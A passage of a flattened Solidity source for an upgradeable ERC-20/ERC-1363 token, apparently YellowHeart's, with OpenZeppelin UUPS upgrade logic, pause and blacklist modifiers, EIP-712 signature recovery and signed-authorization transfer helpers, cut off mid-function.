* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is ERC1967Upgrade {
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data)
external
payable
virtual
onlyProxy
{
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
}
// File contracts/common/BaseToken.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title BaseToken
*/
abstract contract BaseToken is
UUPSUpgradeable,
IERC165,
IERC20,
IERC20Metadata,
Ownable,
Pausable,
Blacklistable,
Rescuable
{
using SafeMath for uint256;
AppStorage internal appStorage;
event Mint(address indexed minter, address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 amount);
event MinterConfigured(address indexed minter, uint256 minterAllowedAmount);
event MinterRemoved(address indexed oldMinter);
event MasterMinterChanged(address indexed newMasterMinter);
function _msgSender() internal view virtual returns (address) {
return LibContext._msgSender();
}
/**
* @dev Authorizes the contract owner to perform a contract upgrade.
*/
function _authorizeUpgrade(address) internal virtual override onlyOwner {
this;
}
function implementation() external view returns (address) {
return _getImplementation();
}
function name() external view returns (string memory) {
return appStorage.name;
}
function symbol() external view returns (string memory) {
return appStorage.symbol;
}
function decimals() external view returns (uint8) {
return appStorage.decimals;
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IERC20).interfaceId ||
interfaceId == type(IERC20Metadata).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
/**
* @dev Internal function to mint tokens.
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint. Must be less than or equal
* to the minterAllowance of the caller.
* @return A boolean that indicates if the operation was successful.
*/
function _mint(address to, uint256 amount) internal returns (bool) {
address msgSender = _msgSender();
appStorage.totalSupply = appStorage.totalSupply.add(amount);
appStorage.balances[to] = appStorage.balances[to].add(amount);
emit Mint(msgSender, to, amount);
emit Transfer(address(0), to, amount);
return true;
}
/**
* @notice Amount of remaining tokens spender is allowed to transfer on
* behalf of the token owner
* @param tokenOwner Token owner's address
* @param spender Spender's address
* @return Allowance amount
*/
function allowance(address tokenOwner, address spender)
external
view
override
returns (uint256)
{
return appStorage.allowed[tokenOwner][spender];
}
/**
* @dev Get totalSupply of token
*/
function totalSupply() external view override returns (uint256) {
return appStorage.totalSupply;
}
/**
* @dev Get token balance of an account
* @param account address The account
*/
function balanceOf(address account) external view override returns (uint256) {
return appStorage.balances[account];
}
/**
* @notice Set spender's allowance over the caller's tokens to be a given
* value.
* @param spender Spender's address
* @param value Allowance amount
* @return True if successful
*/
function approve(address spender, uint256 value)
external
override
whenNotPaused
notBlacklisted(_msgSender())
notBlacklisted(spender)
returns (bool)
{
LibERC20._approve(_msgSender(), spender, value);
return true;
}
/**
* @notice Transfer tokens by spending allowance
* @param from Payer's address
* @param to Payee's address
* @param value Transfer amount
* @return True if successful
*/
function transferFrom(
address from,
address to,
uint256 value
)
external
override
whenNotPaused
notBlacklisted(_msgSender())
notBlacklisted(from)
notBlacklisted(to)
returns (bool)
{
return LibERC20._transferFrom(from, to, value);
}
/**
* @notice Transfer tokens from the caller
* @param to Payee's address
* @param value Transfer amount
* @return True if successful
*/
function transfer(address to, uint256 value)
external
override
whenNotPaused
notBlacklisted(_msgSender())
notBlacklisted(to)
returns (bool)
{
LibERC20._transfer(_msgSender(), to, value);
return true;
}
/**
* @dev allows a user to burn some of its own tokens
* Validates that amount is less than or equal to the caller's account balance
* @param amount uint256 the amount of tokens to be burned
*/
function _burn(uint256 amount) internal virtual {
address msgSender = _msgSender();
uint256 balance = appStorage.balances[msgSender];
require(amount > 0, "BaseToken: burn amount not greater than 0");
require(balance >= amount, "BaseToken: burn amount exceeds balance");
appStorage.totalSupply = appStorage.totalSupply.sub(amount);
appStorage.balances[msgSender] = balance.sub(amount);
}
}
// File contracts/lib/LibECRecover.sol
/**
*
*
* Copyright (c) 2016-2019 zOS Global Limited
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title ECRecover
* @notice A library that provides a safe ECDSA recovery function
*/
library LibECRecover {
/**
* @notice Recover signer's address from a signed message
* @dev Adapted from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/65e4ffde586ec89af3b7e9140bdc9235d1254853/contracts/cryptography/ECDSA.sol
* Modifications: Accept v, r, and s as separate arguments
* @param digest Keccak-256 hash digest of the signed message
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
* @return Signer address
*/
function recover(
bytes32 digest,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECRecover: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECRecover: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(digest, v, r, s);
require(signer != address(0), "ECRecover: invalid signature");
return signer;
}
}
// File contracts/lib/LibEIP712.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title EIP712
* @notice A library that provides EIP712 helper functions
*/
library LibEIP712 {
/**
* @notice Make EIP712 domain separator
* @param name Contract name
* @param version Contract version
* @return Domain separator
*/
function makeDomainSeparator(string memory name, string memory version)
internal
view
returns (bytes32)
{
uint256 chainId;
assembly {
chainId := chainid()
}
return
keccak256(
abi.encode(
0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f,
// = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId,
address(this)
)
);
}
/**
* @notice Recover signer's address from a EIP712 signature
* @param domainSeparator Domain separator
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
* @param typeHashAndData Type hash concatenated with data
* @return Signer's address
*/
function recover(
bytes32 domainSeparator,
uint8 v,
bytes32 r,
bytes32 s,
bytes memory typeHashAndData
) internal pure returns (address) {
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, keccak256(typeHashAndData))
);
return LibECRecover.recover(digest, v, r, s);
}
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363.sol)
interface IERC1363 is IERC165, IERC20 {
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value) external returns (bool);
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCall(
address to,
uint256 value,
bytes memory data
) external returns (bool);
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value
) external returns (bool);
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value,
bytes memory data
) external returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value) external returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 value,
bytes memory data
) external returns (bool);
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Receiver.sol)
interface IERC1363Receiver {
/*
* Note: the ERC-165 identifier for this interface is 0x88a7ca5c.
* 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))
*/
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param from address The address which are token transferred from
* @param value uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
* unless throwing
*/
function onTransferReceived(
address operator,
address from,
uint256 value,
bytes memory data
) external returns (bytes4);
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Spender.sol)
interface IERC1363Spender {
/*
* Note: the ERC-165 identifier for this interface is 0x7b04a2d0.
* 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))
*/
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param owner address The address which called `approveAndCall` function
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
* unless throwing
*/
function onApprovalReceived(
address owner,
uint256 value,
bytes memory data
) external returns (bytes4);
}
// File contracts/lib/LibERC1363.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title ECRecover
* @notice A library that provides a safe ECDSA recovery function
*/
library LibERC1363 {
using Address for address;
using SafeMath for uint256;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 private constant INTERFACE_TRANSFER_AND_CALL = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 private constant INTERFACE_APPROVE_AND_CALL = 0xfb9ec8ce;
function _supportsInterface(bytes4 interfaceId) internal pure returns (bool) {
return
interfaceId == INTERFACE_TRANSFER_AND_CALL ||
interfaceId == INTERFACE_APPROVE_AND_CALL ||
interfaceId == type(IERC1363).interfaceId;
}
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function _transferAndCall(
address to,
uint256 value,
bytes memory data
) internal returns (bool) {
address msgSender = LibContext._msgSender();
LibERC20._transfer(msgSender, to, value);
require(
_checkAndCallTransfer(msgSender, to, value, data),
"ERC1363: _checkAndCallTransfer reverts"
);
return true;
}
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function _transferFromAndCall(
address from,
address to,
uint256 value,
bytes memory data
) internal returns (bool) {
LibERC20._transferFrom(from, to, value);
require(
_checkAndCallTransfer(from, to, value, data),
"ERC1363: _checkAndCallTransfer reverts"
);
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param sender address Representing the previous owner of the given token value
* @param recipient address Target address that will receive the tokens
* @param amount uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(
address sender,
address recipient,
uint256 amount,
bytes memory data
) internal returns (bool) {
if (!recipient.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(recipient).onTransferReceived(
LibContext._msgSender(),
sender,
amount,
data
);
return (retval == IERC1363Receiver(recipient).onTransferReceived.selector);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function _approveAndCall(
address spender,
uint256 value,
bytes memory data
) internal returns (bool) {
LibERC20._approve(LibContext._msgSender(), spender, value);
require(
_checkAndCallApprove(spender, value, data),
"ERC1363: _checkAndCallApprove reverts"
);
return true;
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(
address spender,
uint256 amount,
bytes memory data
) internal returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(
LibContext._msgSender(),
amount,
data
);
return (retval == IERC1363Spender(spender).onApprovalReceived.selector);
}
}
// File contracts/common/ERC1363.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
abstract contract ERC1363 is IERC1363, Pausable, Blacklistable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return LibERC1363._supportsInterface(interfaceId);
}
/**
* @dev Transfer tokens from `msgSender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(to)
returns (bool)
{
return LibERC1363._transferAndCall(to, value, "");
}
/**
* @dev Transfer tokens from `msgSender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCall(
address to,
uint256 value,
bytes memory data
)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(to)
returns (bool)
{
return LibERC1363._transferAndCall(to, value, data);
}
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value
)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(from)
notBlacklisted(to)
returns (bool)
{
return LibERC1363._transferFromAndCall(from, to, value, "");
}
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value,
bytes memory data
)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(from)
notBlacklisted(to)
returns (bool)
{
return LibERC1363._transferFromAndCall(from, to, value, data);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msgSender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(spender)
returns (bool)
{
return LibERC1363._approveAndCall(spender, value, "");
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msgSender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 value,
bytes memory data
)
external
whenNotPaused
notBlacklisted(LibContext._msgSender())
notBlacklisted(spender)
returns (bool)
{
return LibERC1363._approveAndCall(spender, value, data);
}
}
// File contracts/lib/LibGasAbstraction.sol
//
// keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)")
bytes32 constant _TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267;
// keccak256("ApproveWithAuthorization(address owner,address spender,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)")
bytes32 constant _APPROVE_WITH_AUTHORIZATION_TYPEHASH = 0x808c10407a796f3ef2c7ea38c0638ea9d2b8a1c63e3ca9e1f56ce84ae59df73c;
// keccak256("IncreaseAllowanceWithAuthorization(address owner,address spender,uint256 increment,uint256 validAfter,uint256 validBefore,bytes32 nonce)")
bytes32 constant _INCREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH = 0x424222bb050a1f7f14017232a5671f2680a2d3420f504bd565cf03035c53198a;
// keccak256("DecreaseAllowanceWithAuthorization(address owner,address spender,uint256 decrement,uint256 validAfter,uint256 validBefore,bytes32 nonce)")
bytes32 constant _DECREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH = 0xb70559e94cbda91958ebec07f9b65b3b490097c8d25c8dacd71105df1015b6d8;
// keccak256("CancelAuthorization(address authorizer,bytes32 nonce)")
bytes32 constant _CANCEL_AUTHORIZATION_TYPEHASH = 0x158b0a9edf7a828aad02f63cd515c68ef2f50ba807396f6d12842833a1597429;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)")
bytes32 constant _PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/**
* @title Gas Abstraction
* @notice Provide internal implementation for gas-abstracted transfers and
* approvals
* @dev Contracts that inherit from this must wrap these with publicly
* accessible functions, optionally adding modifiers where necessary
*/
library LibGasAbstraction {
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event AuthorizationCanceled(address indexed authorizer, bytes32 indexed nonce);
/**
* @notice Verify a signed transfer authorization and execute if valid
* @param from Payer's address (Authorizer)
* @param to Payee's address
* @param value Amount to be transferred
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireValidAuthorization(from, nonce, validAfter, validBefore);
bytes memory data = abi.encode(
_TRANSFER_WITH_AUTHORIZATION_TYPEHASH,
from,
to,
value,
validAfter,
validBefore,
nonce
);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
from,
"GasAbstraction: invalid signature"
);
_markAuthorizationAsUsed(from, nonce);
LibERC20._transfer(from, to, value);
}
/**
* @notice Verify a signed authorization for an increase in the allowance
* granted to the spender and execute if valid
* @param owner Token owner's address (Authorizer)
* @param spender Spender's address
* @param increment Amount of increase in allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _increaseAllowanceWithAuthorization(
address owner,
address spender,
uint256 increment,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireValidAuthorization(owner, nonce, validAfter, validBefore);
bytes memory data = abi.encode(
_INCREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH,
owner,
spender,
increment,
validAfter,
validBefore,
nonce
);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
owner,
"GasAbstraction: invalid signature"
);
_markAuthorizationAsUsed(owner, nonce);
LibERC20._increaseAllowance(owner, spender, increment);
}
/**
* @notice Verify a signed authorization for a decrease in the allowance
* granted to the spender and execute if valid
* @param owner Token owner's address (Authorizer)
* @param spender Spender's address
* @param decrement Amount of decrease in allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _decreaseAllowanceWithAuthorization(
address owner,
address spender,
uint256 decrement,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireValidAuthorization(owner, nonce, validAfter, validBefore);
bytes memory data = abi.encode(
_DECREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH,
owner,
spender,
decrement,
validAfter,
validBefore,
nonce
);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
owner,
"GasAbstraction: invalid signature"
);
_markAuthorizationAsUsed(owner, nonce);
LibERC20._decreaseAllowance(owner, spender, decrement);
}
/**
* @notice Verify a signed approval authorization and execute if valid
* @param owner Token owner's address (Authorizer)
* @param spender Spender's address
* @param value Amount of allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _approveWithAuthorization(
address owner,
